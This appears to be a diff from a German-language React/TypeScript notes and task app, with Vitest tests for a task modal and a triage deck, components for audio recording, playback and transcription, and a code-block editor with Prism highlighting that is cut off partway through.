import { Thought } from '../../../lib/types';
const task: Thought = {
id: 'th_1',
userId: 'usr_1',
content: 'Fenster putzen',
tags: [],
priority: 'normal',
source: 'manual',
status: 'converted',
isCompleted: false,
kanbanStatus: 'todo',
dueDate: '2026-10-30T14:30',
createdAt: '2026-10-29T08:00:00Z',
};
const columns = [
{ id: 'todo', name: 'Zu erledigen' },
{ id: 'done', name: 'Erledigt', isDone: true },
];
const noop = vi.fn(async () => {});
const props = (over: Partial<React.ComponentProps<typeof TaskDetailModal>> = {}) => ({
task,
isOpen: true,
onClose: vi.fn(),
activeColumns: columns,
taskLists: [],
onUpdateTitle: noop,
onUpdateStatus: noop,
onUpdatePriority: noop,
onUpdateDueDate: vi.fn(async () => {}),
onUpdateTaskList: noop,
onUpdateNotes: noop,
onToggleSubtask: noop,
onAddSubtask: noop,
onDeleteSubtask: noop,
onConvertToDoc: vi.fn(),
onDeleteTask: vi.fn(),
...over,
});
describe('TaskDetailModal', () => {
it('opens and closes without breaking the hook order', () => {
const { rerender, container } = render(<TaskDetailModal {...props({ isOpen: false })} />);
expect(container.firstChild).toBeNull();
rerender(<TaskDetailModal {...props()} />);
expect(screen.getByText('Aufgabe bearbeiten')).toBeTruthy();
rerender(<TaskDetailModal {...props({ isOpen: false })} />);
rerender(<TaskDetailModal {...props()} />);
expect(screen.getByText('Aufgabe bearbeiten')).toBeTruthy();
});
it('shows date and time separately and removes only the time', () => {
const onUpdateDueDate = vi.fn(async () => {});
render(<TaskDetailModal {...props({ onUpdateDueDate })} />);
expect((screen.getByLabelText('Fälligkeitsdatum') as HTMLInputElement).value).toBe('2026-10-30');
expect((screen.getByLabelText('Uhrzeit (optional)') as HTMLInputElement).value).toBe('14:30');
fireEvent.click(screen.getByTitle(/Uhrzeit entfernen/));
expect(onUpdateDueDate).toHaveBeenCalledWith(task, '2026-10-30');
});
it('is view-only for tasks in lists shared with viewer rights', () => {
render(<TaskDetailModal {...props({ readOnly: true })} />);
expect(screen.getByText('Aufgabe ansehen')).toBeTruthy();
expect((screen.getByLabelText('Fälligkeitsdatum') as HTMLInputElement).closest('fieldset')?.disabled).toBe(true);
});
});
@@ -0,0 +1,163 @@
import React from 'react';
import { describe, it, expect, vi, beforeEach } from 'vitest';
import { render, screen, fireEvent, waitFor } from '@testing-library/react';
import { TriageDeck } from '../TriageDeck';
import { api } from '../../../lib/api';
import { SharedList, Thought } from '../../../lib/types';
const sampleDeck: Thought[] = [
{
id: 'th_1',
userId: 'u_1',
content: 'Hafermilch und Kaffeebohnen',
status: 'inbox',
priority: 'normal',
source: 'manual',
isCompleted: false,
tags: [],
createdAt: '2026-10-29T10:00:00Z',
},
];
const ownList: SharedList = {
id: 'lst_own',
title: 'Wocheneinkauf',
icon: '🛒',
listType: 'shopping',
isOwner: true,
role: 'owner',
items: [],
createdAt: '2026-10-29T10:00:00Z',
updatedAt: '2026-10-29T10:00:00Z',
};
const secondEditableList: SharedList = {
id: 'lst_edit',
title: 'Baumarkt',
icon: '🔨',
listType: 'checklist',
isOwner: false,
role: 'editor',
items: [],
createdAt: '2026-10-29T10:00:00Z',
updatedAt: '2026-10-29T10:00:00Z',
};
const viewerList: SharedList = {
id: 'lst_view',
title: 'WG-Archiv',
icon: '📋',
listType: 'checklist',
isOwner: false,
role: 'viewer',
items: [],
createdAt: '2026-10-29T10:00:00Z',
updatedAt: '2026-10-29T10:00:00Z',
};
describe('TriageDeck single-list shortcut', () => {
beforeEach(() => {
vi.restoreAllMocks();
vi.spyOn(api, 'triageAction').mockResolvedValue(sampleDeck[0]);
});
it('directly assigns to the single own list without opening the selector', async () => {
const onDeckChange = vi.fn();
render(
<TriageDeck
deck={sampleDeck}
lists={[ownList]}
onDeckChange={onDeckChange}
onOpenDocument={vi.fn()}
onFocusCapture={vi.fn()}
/>
);
const btn = screen.getByRole('button', { name: /Auf Wocheneinkauf/i });
expect((btn as HTMLButtonElement).disabled).toBe(false);
fireEvent.click(btn);
await waitFor(() => {
expect(api.triageAction).toHaveBeenCalledWith('th_1', 'keep', {
convertTo: 'list_item',
targetListId: 'lst_own',
dueDate: undefined,
});
expect(onDeckChange).toHaveBeenCalledTimes(1);
});
expect(screen.queryByText(/Quick Dump direkt einer Liste zuordnen/i)).toBeNull();
});
it('opens the list selector when two writable lists exist instead of assigning directly', () => {
const onDeckChange = vi.fn();
render(
<TriageDeck
deck={sampleDeck}
lists={[ownList, secondEditableList]}
onDeckChange={onDeckChange}
onOpenDocument={vi.fn()}
onFocusCapture={vi.fn()}
/>
);
const btn = screen.getByRole('button', { name: /^Auf Liste$/i });
fireEvent.click(btn);
expect(api.triageAction).not.toHaveBeenCalled();
expect(onDeckChange).not.toHaveBeenCalled();
expect(screen.getByText(/Quick Dump direkt einer Liste zuordnen/i)).toBeTruthy();
expect(screen.getByRole('button', { name: /Wocheneinkauf/i })).toBeTruthy();
expect(screen.getByRole('button', { name: /Baumarkt/i })).toBeTruthy();
});
it('treats one own list and one viewer-only shared list as a single writable list', async () => {
const onDeckChange = vi.fn();
render(
<TriageDeck
deck={sampleDeck}
lists={[viewerList, ownList]}
onDeckChange={onDeckChange}
onOpenDocument={vi.fn()}
onFocusCapture={vi.fn()}
/>
);
const btn = screen.getByRole('button', { name: /Auf Wocheneinkauf/i });
fireEvent.click(btn);
await waitFor(() => {
expect(api.triageAction).toHaveBeenCalledWith('th_1', 'keep', {
convertTo: 'list_item',
targetListId: 'lst_own',
dueDate: undefined,
});
expect(onDeckChange).toHaveBeenCalledTimes(1);
});
});
it('disables the list button when no writable list exists', () => {
const onDeckChange = vi.fn();
render(
<TriageDeck
deck={sampleDeck}
lists={[viewerList]}
onDeckChange={onDeckChange}
onOpenDocument={vi.fn()}
onFocusCapture={vi.fn()}
/>
);
const btn = screen.getByRole('button', { name: /^Auf Liste$/i }) as HTMLButtonElement;
expect(btn.disabled).toBe(true);
expect(btn.title).toBe('Keine Liste vorhanden');
fireEvent.click(btn);
expect(api.triageAction).not.toHaveBeenCalled();
expect(onDeckChange).not.toHaveBeenCalled();
});
});
@@ -0,0 +1,136 @@
import React, { useEffect, useRef, useState } from 'react';
import { FileAudio, Loader2, Wand2 } from 'lucide-react';
import { api } from '../../lib/api';
import { mediaBlob, mediaObjectURL, parseMediaContent } from '../../lib/media';
import { loadVoiceConfig } from '../../lib/voice';
interface AudioBlockProps {
content: string;
canEdit: boolean;
onCaptionChange: (caption: string) => void;
}
// Audio block: player plus caption. With the own Whisper server the recording can be turned into text,
// which becomes the caption (and so searchable).
export const AudioBlock: React.FC<AudioBlockProps> = ({ content, canEdit, onCaptionChange }) => {
const ref = parseMediaContent(content);
const mediaId = ref?.id;
const [src, setSrc] = useState<string | null>(null);
const [failed, setFailed] = useState(false);
const [caption, setCaption] = useState(ref?.caption || '');
const [canTranscribe, setCanTranscribe] = useState(false);
const [transcribing, setTranscribing] = useState(false);
const [error, setError] = useState<string | null>(null);
const audioRef = useRef<HTMLAudioElement>(null);
// Recordings from Chrome (WebM) carry no length: jump to the end once so the browser measures it,
// otherwise the player shows no total time and seeking does not work
const fixDuration = () => {
const a = audioRef.current;
if (!a || Number.isFinite(a.duration)) return;
const reset = () => {
a.removeEventListener('timeupdate', reset);
a.currentTime = 0;
};
a.addEventListener('timeupdate', reset);
a.currentTime = 1e101;
};
useEffect(() => {
setCaption(ref?.caption || '');
}, [ref?.caption]);
useEffect(() => {
if (!mediaId) return;
let alive = true;
setFailed(false);
mediaObjectURL(mediaId)
.then((u) => alive && setSrc(u))
.catch(() => alive && setFailed(true));
return () => {
alive = false;
};
}, [mediaId]);
useEffect(() => {
void loadVoiceConfig().then((cfg) => setCanTranscribe(cfg.mode === 'server'));
}, []);
if (!ref) {
return <div className="text-xs text-status-err py-1">Audio-Verweis ist beschädigt: {content}</div>;
}
const commitCaption = (value: string) => {
if (value.trim() !== ref.caption) onCaptionChange(value.trim());
};
const transcribe = async () => {
if (!src) return;
setTranscribing(true);
setError(null);
try {
const blob = await mediaBlob(ref.id);
const text = await api.transcribe(blob);
if (text) {
setCaption(text);
commitCaption(text);
} else {
setError('Nichts erkannt');
}
} catch (err: any) {
setError(err?.message || 'Spracherkennung fehlgeschlagen');
} finally {
setTranscribing(false);
}
};
return (
<div className="my-1 space-y-1">
{failed ? (
<div className="flex items-center gap-2 h-12 px-3 rounded-card border border-border bg-panel text-xs text-muted">
<FileAudio className="w-4 h-4" /> Aufnahme nicht verfügbar (offline oder gelöscht)
</div>
) : src ? (
<div className="flex items-center gap-2">
<audio ref={audioRef} controls preload="metadata" src={src} onLoadedMetadata={fixDuration} className="w-full max-w-md h-11" />
{canEdit && canTranscribe && (
<button
type="button"
onClick={() => void transcribe()}
disabled={transcribing}
title="In Text umwandeln (eigene Spracherkennung)"
className="btn-secondary h-11 sm:h-8 px-2.5 text-xs flex items-center gap-1.5 shrink-0 disabled:opacity-40"
>
{transcribing ? <Loader2 className="w-3.5 h-3.5 animate-spin" /> : <Wand2 className="w-3.5 h-3.5" />}
<span className="hidden sm:inline">{transcribing ? 'Wird erkannt…' : 'Transkribieren'}</span>
</button>
)}
</div>
) : (
<div className="flex items-center h-12 px-3 rounded-card border border-border bg-panel w-64">
<Loader2 className="w-4 h-4 animate-spin text-muted" />
</div>
)}
{canEdit ? (
<input
type="text"
value={caption}
onChange={(e) => setCaption(e.target.value)}
onBlur={() => commitCaption(caption)}
onKeyDown={(e) => {
if (e.key === 'Enter') {
e.preventDefault();
(e.target as HTMLInputElement).blur();
}
}}
placeholder="Beschriftung hinzufügen…"
className="w-full bg-transparent border-0 p-0 text-xs text-muted placeholder-faint focus:outline-none focus:ring-0"
/>
) : (
ref.caption && <p className="text-xs text-muted">{ref.caption}</p>
)}
{error && <p className="text-xs text-status-err">{error}</p>}
</div>
);
};
@@ -0,0 +1,183 @@
import React, { useEffect, useRef, useState } from 'react';
import { Loader2, Mic, Square, Upload, X } from 'lucide-react';
import { UploadedMedia, uploadMedia } from '../../lib/media';
import { VoiceRecorder } from '../../lib/voice';
import { VoiceWave } from '../../components/VoiceWave';
import { triggerHaptic } from '../../lib/api';
interface AudioRecorderPickerProps {
docId: string;
onDone: (media: UploadedMedia) => void;
onCancel: () => void;
}
const MAX_RECORDING_MS = 30 * 60 * 1000;
function formatTime(ms: number): string {
const s = Math.floor(ms / 1000);
return `${Math.floor(s / 60)}:${String(s % 60).padStart(2, '0')}`;
}
// Inline bubble an empty bullet turns into after /audio. Green button = start, red button = stop and
// save; the live wave runs left of the red button. An existing audio file can be uploaded instead.
export const AudioRecorderPicker: React.FC<AudioRecorderPickerProps> = ({ docId, onDone, onCancel }) => {
const [state, setState] = useState<'ready' | 'recording' | 'uploading'>('ready');
const [elapsed, setElapsed] = useState(0);
const [error, setError] = useState<string | null>(null);
const recorderRef = useRef<VoiceRecorder | null>(null);
const startedRef = useRef(0);
const tickRef = useRef<number | null>(null);
const fileRef = useRef<HTMLInputElement>(null);
const boxRef = useRef<HTMLDivElement>(null);
const stopTicking = () => {
if (tickRef.current !== null) window.clearInterval(tickRef.current);
tickRef.current = null;
};
useEffect(() => {
boxRef.current?.focus();
return () => {
stopTicking();
recorderRef.current?.cancel();
};
}, []);
const upload = async (blob: Blob, name: string) => {
setState('uploading');
setError(null);
try {
onDone(await uploadMedia(docId, blob, name));
} catch (err: any) {
setError(err?.message || 'Hochladen fehlgeschlagen');
setState('ready');
}
};
const stop = async () => {
const rec = recorderRef.current;
if (!rec) return;
recorderRef.current = null;
stopTicking();
triggerHaptic(20);
const blob = await rec.stop();
if (!blob) {
setError('Die Aufnahme ist leer');
setState('ready');
return;
}
const ext = blob.type.includes('mp4') ? 'm4a' : blob.type.includes('ogg') ? 'ogg' : 'webm';
await upload(blob, `sprachnotiz.${ext}`);
};
const start = async () => {
setError(null);
const rec = new VoiceRecorder();
try {
await rec.start();
} catch {
setError('Kein Zugriff auf das Mikrofon (Berechtigung, oder die Seite läuft nicht über HTTPS)');
return;
}
recorderRef.current = rec;
startedRef.current = Date.now();
setElapsed(0);
setState('recording');
triggerHaptic([15, 60, 25]);
tickRef.current = window.setInterval(() => {
const ms = Date.now() - startedRef.current;
setElapsed(ms);
if (ms >= MAX_RECORDING_MS) void stop();
}, 250);
};
const cancel = () => {
stopTicking();
recorderRef.current?.cancel();
recorderRef.current = null;
onCancel();
};
return (
<div
ref={boxRef}
tabIndex={-1}
onKeyDown={(e) => {
if (e.key === 'Escape') {
e.preventDefault();
cancel();
}
}}
className="my-1 inline-flex max-w-full flex-col gap-2 rounded-card border border-border bg-panel-elevated px-3 py-2 focus:outline-none"
>
<div className="flex items-center gap-3">
{state === 'recording' && (
<>
<span className="text-xs font-mono text-main tabular-nums">{formatTime(elapsed)}</span>
<VoiceWave getLevel={() => recorderRef.current?.level() ?? null} bars={11} className="h-6 text-status-err" />
</>
)}
{state === 'ready' && <span className="text-xs text-muted">Sprachnotiz aufnehmen</span>}
{state === 'uploading' && (
<span className="text-xs text-muted flex items-center gap-1.5">
<Loader2 className="w-3.5 h-3.5 animate-spin" /> Wird gespeichert…
</span>
)}
{state === 'recording' ? (
<button
type="button"
onClick={() => void stop()}
title="Aufnahme beenden und speichern"
aria-label="Aufnahme beenden und speichern"
className="w-14 h-14 sm:w-10 sm:h-10 rounded-full bg-status-err text-on-accent flex items-center justify-center shadow-panel shrink-0"
>
<Square className="w-5 h-5 sm:w-4 sm:h-4 fill-current" />
</button>
) : (
<button
type="button"
onClick={() => void start()}
disabled={state === 'uploading'}
title="Aufnahme starten"
aria-label="Aufnahme starten"
className="w-14 h-14 sm:w-10 sm:h-10 rounded-full bg-status-ok text-on-accent flex items-center justify-center shadow-panel shrink-0 disabled:opacity-40"
>
<Mic className="w-6 h-6 sm:w-5 sm:h-5" />
</button>
)}
{state === 'ready' && (
<button
type="button"
onClick={() => fileRef.current?.click()}
title="Audiodatei hochladen"
className="btn-secondary h-11 sm:h-8 px-3 text-xs flex items-center gap-1.5 shrink-0"
>
<Upload className="w-3.5 h-3.5" /> <span className="hidden sm:inline">Datei</span>
</button>
)}
<button
type="button"
onClick={cancel}
disabled={state === 'uploading'}
title="Abbrechen (Esc)"
className="w-11 h-11 sm:w-7 sm:h-7 flex items-center justify-center rounded-btn text-muted hover:text-main hover:bg-panel shrink-0 disabled:opacity-40"
>
<X className="w-4 h-4" />
</button>
</div>
{error && <p className="text-xs text-status-err">{error}</p>}
<input
ref={fileRef}
type="file"
accept="audio/*"
hidden
onChange={(e) => {
const f = e.target.files?.[0];
if (f) void upload(f, f.name || 'audio');
}}
/>
</div>
);
};
@@ -0,0 +1,625 @@
import React, { useState, useEffect, useLayoutEffect, useMemo, useRef, useCallback } from 'react';
import Prism from 'prismjs';
import { Code, Copy, Check } from 'lucide-react';
import { DocumentBlock } from '../../lib/types';
Prism.manual = true;
if (typeof globalThis !== 'undefined') {
(globalThis as Record<string, unknown>).Prism = Prism;
}
export interface CodeLanguageOption {
id: string;
label: string;
}
export interface CodeLanguageGroup {
label: string;
options: CodeLanguageOption[];
}
export const CODE_LANGUAGE_GROUPS: CodeLanguageGroup[] = [
{
label: 'Konfiguration & Daten',
options: [
{ id: 'yaml', label: 'YAML' },
{ id: 'json', label: 'JSON' },
{ id: 'toml', label: 'TOML' },
{ id: 'ini', label: 'INI' },
{ id: 'docker', label: 'Dockerfile' },
{ id: 'nginx', label: 'Nginx' },
{ id: 'hcl', label: 'HCL / Terraform' },
{ id: 'xml', label: 'XML' },
{ id: 'csv', label: 'CSV' },
{ id: 'graphql', label: 'GraphQL' },
{ id: 'protobuf', label: 'Protocol Buffers' },
],
},
{
label: 'Shell & Betrieb',
options: [
{ id: 'bash', label: 'Bash / Shell' },
{ id: 'powershell', label: 'PowerShell' },
{ id: 'makefile', label: 'Makefile' },
{ id: 'systemd', label: 'Systemd' },
{ id: 'vim', label: 'Vim' },
{ id: 'diff', label: 'Diff' },
{ id: 'git', label: 'Git' },
{ id: 'log', label: 'Log' },
],
},
{
label: 'Web & Frontend',
options: [
{ id: 'javascript', label: 'JavaScript' },
{ id: 'typescript', label: 'TypeScript' },
{ id: 'jsx', label: 'JSX' },
{ id: 'tsx', label: 'TSX' },
{ id: 'markup', label: 'HTML / Markup' },
{ id: 'html', label: 'HTML' },
{ id: 'css', label: 'CSS' },
{ id: 'scss', label: 'SCSS' },
],
},
{
label: 'Skriptsprachen',
options: [
{ id: 'python', label: 'Python' },
{ id: 'php', label: 'PHP' },
{ id: 'ruby', label: 'Ruby' },
{ id: 'lua', label: 'Lua' },
{ id: 'perl', label: 'Perl' },
],
},
{
label: 'System & Backend',
options: [
{ id: 'go', label: 'Go' },
{ id: 'rust', label: 'Rust' },
{ id: 'sql', label: 'SQL' },
{ id: 'c', label: 'C' },
{ id: 'cpp', label: 'C++' },
{ id: 'csharp', label: 'C#' },
{ id: 'java', label: 'Java' },
{ id: 'kotlin', label: 'Kotlin' },
{ id: 'swift', label: 'Swift' },
{ id: 'dart', label: 'Dart' },
{ id: 'zig', label: 'Zig' },
{ id: 'elixir', label: 'Elixir' },
{ id: 'scala', label: 'Scala' },
{ id: 'haskell', label: 'Haskell' },
],
},
{
label: 'Dokumentation & Text',
options: [
{ id: 'markdown', label: 'Markdown' },
{ id: 'latex', label: 'LaTeX' },
{ id: 'regex', label: 'Regex' },
{ id: 'text', label: 'Plain Text' },
],
},
];
export const CODE_LANGUAGES: CodeLanguageOption[] = CODE_LANGUAGE_GROUPS.flatMap((g) => g.options);
const KNOWN_OPTION_IDS = new Set<string>(CODE_LANGUAGES.map((l) => l.id));
const LANGUAGE_ALIASES: Record<string, string> = {
yml: 'yaml',
sh: 'bash',
shell: 'bash',
zsh: 'bash',
js: 'javascript',
mjs: 'javascript',
cjs: 'javascript',
ts: 'typescript',
mts: 'typescript',
cts: 'typescript',
py: 'python',
rb: 'ruby',
rs: 'rust',
cs: 'csharp',
'c#': 'csharp',
dotnet: 'csharp',
'c++': 'cpp',
cxx: 'cpp',
cc: 'cpp',
hpp: 'cpp',
h: 'c',
kt: 'kotlin',
kts: 'kotlin',
hs: 'haskell',
md: 'markdown',
tex: 'latex',
dockerfile: 'docker',
containerfile: 'docker',
htm: 'html',
svg: 'xml',
proto: 'protobuf',
ps1: 'powershell',
pwsh: 'powershell',
make: 'makefile',
gql: 'graphql',
tf: 'hcl',
terraform: 'hcl',
ex: 'elixir',
exs: 'elixir',
pl: 'perl',
conf: 'ini',
golang: 'go',
plaintext: 'text',
plain: 'text',
txt: 'text',
};
const SHORT_PREFIX_CANDIDATES = new Set<string>([
'c',
'go',
'js',
'ts',
'sh',
'py',
'rb',
'rs',
'cs',
'kt',
'hs',
'md',
'ex',
'pl',
'tf',
'tex',
'htm',
'yml',
'doc',
'docker',
'make',
'proto',
'plain',
]);
export function resolveLanguageId(raw?: string): string | undefined {
if (!raw) return undefined;
const key = raw.trim().toLowerCase();
if (!key) return undefined;
if (KNOWN_OPTION_IDS.has(key)) return key;
return LANGUAGE_ALIASES[key];
}
// True when a language token in `/code <lang>` or ````<lang>` cannot be a prefix of another language user is still typing
export function isUnambiguousLanguageShortcut(raw?: string): boolean {
if (!raw) return false;
const key = raw.trim().toLowerCase();
if (SHORT_PREFIX_CANDIDATES.has(key)) return false;
return Boolean(resolveLanguageId(key));
}
// On-demand loaders for Prism grammars (Vite code-splits each into its own chunk)
const PRISM_LOADERS: Record<string, () => Promise<unknown>> = {
yaml: () => import('prismjs/components/prism-yaml'),
json: () => import('prismjs/components/prism-json'),
toml: () => import('prismjs/components/prism-toml'),
ini: () => import('prismjs/components/prism-ini'),
docker: () => import('prismjs/components/prism-docker'),
nginx: () => import('prismjs/components/prism-nginx'),
hcl: () => import('prismjs/components/prism-hcl'),
csv: () => import('prismjs/components/prism-csv'),
graphql: () => import('prismjs/components/prism-graphql'),
protobuf: () => import('prismjs/components/prism-protobuf'),
bash: () => import('prismjs/components/prism-bash'),
powershell: () => import('prismjs/components/prism-powershell'),
makefile: () => import('prismjs/components/prism-makefile'),
systemd: () => import('prismjs/components/prism-systemd'),
vim: () => import('prismjs/components/prism-vim'),
diff: () => import('prismjs/components/prism-diff'),
git: () => import('prismjs/components/prism-git'),
log: () => import('prismjs/components/prism-log'),
typescript: () => import('prismjs/components/prism-typescript'),
jsx: () => import('prismjs/components/prism-jsx'),
tsx: () => import('prismjs/components/prism-tsx'),
scss: () => import('prismjs/components/prism-scss'),
python: () => import('prismjs/components/prism-python'),
'markup-templating': () => import('prismjs/components/prism-markup-templating'),
php: () => import('prismjs/components/prism-php'),
ruby: () => import('prismjs/components/prism-ruby'),
lua: () => import('prismjs/components/prism-lua'),
perl: () => import('prismjs/components/prism-perl'),
go: () => import('prismjs/components/prism-go'),
rust: () => import('prismjs/components/prism-rust'),
sql: () => import('prismjs/components/prism-sql'),
c: () => import('prismjs/components/prism-c'),
cpp: () => import('prismjs/components/prism-cpp'),
csharp: () => import('prismjs/components/prism-csharp'),
java: () => import('prismjs/components/prism-java'),
kotlin: () => import('prismjs/components/prism-kotlin'),
swift: () => import('prismjs/components/prism-swift'),
dart: () => import('prismjs/components/prism-dart'),
zig: () => import('prismjs/components/prism-zig'),
elixir: () => import('prismjs/components/prism-elixir'),
scala: () => import('prismjs/components/prism-scala'),
haskell: () => import('prismjs/components/prism-haskell'),
markdown: () => import('prismjs/components/prism-markdown'),
latex: () => import('prismjs/components/prism-latex'),
regex: () => import('prismjs/components/prism-regex'),
};
// Prerequisite grammars that must be loaded in order before the target grammar
const PRISM_DEPENDENCIES: Record<string, string[]> = {
tsx: ['jsx', 'typescript'],
cpp: ['c'],
php: ['markup-templating'],
scala: ['java'],
};
const inFlightGrammarLoads = new Map<string, Promise<boolean>>();
export function toPrismGrammarKey(lang?: string): string {
if (!lang) return '';
const resolved = resolveLanguageId(lang) || lang.trim().toLowerCase();
if (!resolved || resolved === 'text' || resolved === 'plaintext') return '';
if (resolved === 'html') return 'markup';
return resolved;
}
export async function loadPrismLanguage(lang?: string): Promise<boolean> {
const key = toPrismGrammarKey(lang);
if (!key) return false;
if (Prism.languages[key]) return true;
const existing = inFlightGrammarLoads.get(key);
if (existing) return existing;
const task = (async () => {
try {
const deps = PRISM_DEPENDENCIES[key];
if (deps) {
for (const dep of deps) {
if (!Prism.languages[dep]) {
await loadPrismLanguage(dep);
}
}
}
const loader = PRISM_LOADERS[key];
if (loader) {
await loader();
}
return Boolean(Prism.languages[key]);
} catch {
return false;
} finally {
inFlightGrammarLoads.delete(key);
}
})();
inFlightGrammarLoads.set(key, task);
return task;
}
export function escapeHtml(raw: string): string {
return raw
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;');
}
export interface CodeBlockEditorProps {
block: DocumentBlock;
content?: string;
canEdit?: boolean;
textareaRef?: React.MutableRefObject<HTMLTextAreaElement | null>;
registerTextareaRef?: (blockId: string, el: HTMLTextAreaElement | null) => void;
onChangeContent?: (content: string) => void;
onChangeLang?: (lang: string) => void;
onConvertToText?: () => void;
handleFocus?: (e: React.FocusEvent<HTMLTextAreaElement>) => void;
handleBlur?: (e: React.FocusEvent<HTMLTextAreaElement>) => void;
handleContentChange?: (e: React.ChangeEvent<HTMLTextAreaElement>) => void;
handleKeyDown?: (e: React.KeyboardEvent<HTMLTextAreaElement>) => void;
}
export const CodeBlockEditor: React.FC<CodeBlockEditorProps> = ({
block,
content,
canEdit = true,
textareaRef,
registerTextareaRef,
onChangeContent,
onChangeLang,
onConvertToText,
handleFocus,
handleBlur,
handleContentChange,
handleKeyDown,
}) => {
const isControlled = content !== undefined;
const [uncontrolledContent, setUncontrolledContent] = useState<string>(block.content || '');
const currentContent = isControlled ? content : uncontrolledContent;
useEffect(() => {
if (!isControlled) {
setUncontrolledContent(block.content || '');
}
}, [block.content, isControlled]);
const [copied, setCopied] = useState(false);
const [loadedGrammar, setLoadedGrammar] = useState<string>('');
const copyTimerRef = useRef<number | null>(null);
const localTextareaRef = useRef<HTMLTextAreaElement | null>(null);
const preRef = useRef<HTMLPreElement | null>(null);
useEffect(() => {
return () => {
if (copyTimerRef.current !== null) {
window.clearTimeout(copyTimerRef.current);
}
};
}, []);
const prismLang = toPrismGrammarKey(block.lang);
useEffect(() => {
if (!prismLang) return;
if (Prism.languages[prismLang]) {
setLoadedGrammar(prismLang);
return;
}
let cancelled = false;
loadPrismLanguage(prismLang).then((loaded) => {
if (!cancelled && loaded) {
setLoadedGrammar(prismLang);
}
});
return () => {
cancelled = true;
};
}, [prismLang]);
const highlightedHtml = useMemo(() => {
if (!currentContent) return '';
const activeLang = prismLang && (Prism.languages[prismLang] || loadedGrammar === prismLang) ? prismLang : '';
if (!activeLang) return escapeHtml(currentContent);
const grammar = Prism.languages[activeLang];
if (!grammar) return escapeHtml(currentContent);
try {
return Prism.highlight(currentContent, grammar, activeLang);
} catch {
return escapeHtml(currentContent);
}
}, [currentContent, prismLang, loadedGrammar]);
const adjustHeight = useCallback(() => {
const el = localTextareaRef.current;
if (!el) return;
el.style.height = 'auto';
el.style.height = `${Math.max(22, el.scrollHeight)}px`;
}, []);
useLayoutEffect(() => {
adjustHeight();
}, [currentContent, adjustHeight]);
const handleCopy = (e: React.MouseEvent) => {
e.stopPropagation();
try {
const p = navigator.clipboard?.writeText(currentContent);
if (p && typeof p.catch === 'function') {
p.catch(() => {});
}
} catch {
// ignore clipboard errors
}
setCopied(true);
if (copyTimerRef.current !== null) {
window.clearTimeout(copyTimerRef.current);
}
copyTimerRef.current = window.setTimeout(() => {
copyTimerRef.current = null;
setCopied(false);
}, 1500);
};
const applyContentUpdate = (newVal: string, target: HTMLTextAreaElement) => {
if (!isControlled) {
setUncontrolledContent(newVal);
}
if (onChangeContent) {
onChangeContent(newVal);
} else if (handleContentChange) {
target.value = newVal;
handleContentChange({
target,
currentTarget: target,
} as React.ChangeEvent<HTMLTextAreaElement>);
}
};
const onTextareaChange = (e: React.ChangeEvent<HTMLTextAreaElement>) => {
if (!canEdit) return;
if (!isControlled) {
setUncontrolledContent(e.target.value);
}
if (handleContentChange) {
handleContentChange(e);
} else if (onChangeContent) {
onChangeContent(e.target.value);
}
};
const onTextareaKeyDown = (e: React.KeyboardEvent<HTMLTextAreaElement>) => {
if (canEdit && e.key === 'Tab') {
e.preventDefault();
e.stopPropagation();
const ta = e.currentTarget;
const val = currentContent;
const start = ta.selectionStart ?? 0;
const end = ta.selectionEnd ?? start;
const lineStart = start === 0 ? 0 : val.lastIndexOf('\n', start - 1) + 1;
const effectiveEnd = end > start && val[end - 1] === '\n' ? end - 1 : end;
const lineEndIdx = val.indexOf('\n', effectiveEnd);
const blockEnd = lineEndIdx === -1 ? val.length : lineEndIdx;
const lines = val.slice(lineStart, blockEnd).split('\n');
if (!e.shiftKey) {
const updatedLines = lines.map((line) => ' ' + line);
const newVal = val.slice(0, lineStart) + updatedLines.join('\n') + val.slice(blockEnd);
const newStart = start + 2;
const newEnd = end + updatedLines.length * 2;
applyContentUpdate(newVal, ta);
ta.value = newVal;
ta.setSelectionRange(newStart, newEnd);
setTimeout(() => {
if (localTextareaRef.current) {
localTextareaRef.current.setSelectionRange(newStart, newEnd);
}
}, 0);
} else {
let removedFirst = 0;
let removedTotal = 0;
const updatedLines = lines.map((line, idx) => {
let removeCount = 0;
if (line.startsWith(' ')) removeCount = 2;
else if (line.startsWith(' ') || line.startsWith('\t')) removeCount = 1;
if (idx === 0) removedFirst = removeCount;
removedTotal += removeCount;
return line.slice(removeCount);
});
if (removedTotal > 0) {
const newVal = val.slice(0, lineStart) + updatedLines.join('\n') + val.slice(blockEnd);
const newStart = Math.max(lineStart, start - removedFirst);
const newEnd = Math.max(newStart, end - removedTotal);
applyContentUpdate(newVal, ta);
ta.value = newVal;
ta.setSelectionRange(newStart, newEnd);
setTimeout(() => {
if (localTextareaRef.current) {
localTextareaRef.current.setSelectionRange(newStart, newEnd);
}
}, 0);
}
}
return;
}
handleKeyDown?.(e);
};
const handleScroll = (e: React.UIEvent<HTMLTextAreaElement>) => {
if (preRef.current) {
preRef.current.scrollTop = e.currentTarget.scrollTop;
preRef.current.scrollLeft = e.currentTarget.scrollLeft;
}
};
const rawLang = block.lang || '';
const selectValue = rawLang ? resolveLanguageId(rawLang) || rawLang : '';
const hasCustomUnknownLang = Boolean(selectValue && !KNOWN_OPTION_IDS.has(selectValue));
return (
<div className="bg-code border border-border rounded-btn my-0.5 overflow-x-auto max-w-full">
{/* Code Block Header */}
<div className="flex items-center justify-between gap-2 px-2 py-1 border-b border-border text-[11px] font-mono text-faint">
<div className="flex items-center gap-1.5 min-w-0">
<Code className="w-3.5 h-3.5 text-muted shrink-0" />
{canEdit ? (
<select
aria-label="Sprache auswählen"
value={selectValue}
onChange={(e) => onChangeLang?.(e.target.value)}
className="min-h-[44px] sm:min-h-0 bg-transparent text-muted hover:text-main focus:text-main font-mono text-[11px] font-medium border border-transparent hover:border-border focus:border-accent rounded-btn px-1.5 py-0.5 outline-none cursor-pointer"
>
<option value="" className="bg-panel text-main">
Text
</option>
{hasCustomUnknownLang && (
<option value={selectValue} className="bg-panel text-main">
{selectValue}
</option>
)}
{CODE_LANGUAGE_GROUPS.map((group) => (
<optgroup key={group.label} label={group.label} className="bg-panel text-muted">
{group.options.map((opt) => (
<option key={opt.id} value={opt.id} className="bg-panel text-main">
{opt.label}
</option>
))}
</optgroup>
))}
</select>
) : (
<span className="font-mono text-[11px] text-muted px-1">{block.lang || 'Text'}</span>
)}
</div>
<div className="flex items-center gap-1.5 shrink-0">
<button
type="button"
onClick={handleCopy}
className="min-h-[44px] sm:min-h-0 px-2 py-0.5 rounded-btn text-[11px] font-mono text-muted hover:text-main hover:bg-panel-elevated transition-colors inline-flex items-center gap-1 cursor-pointer"
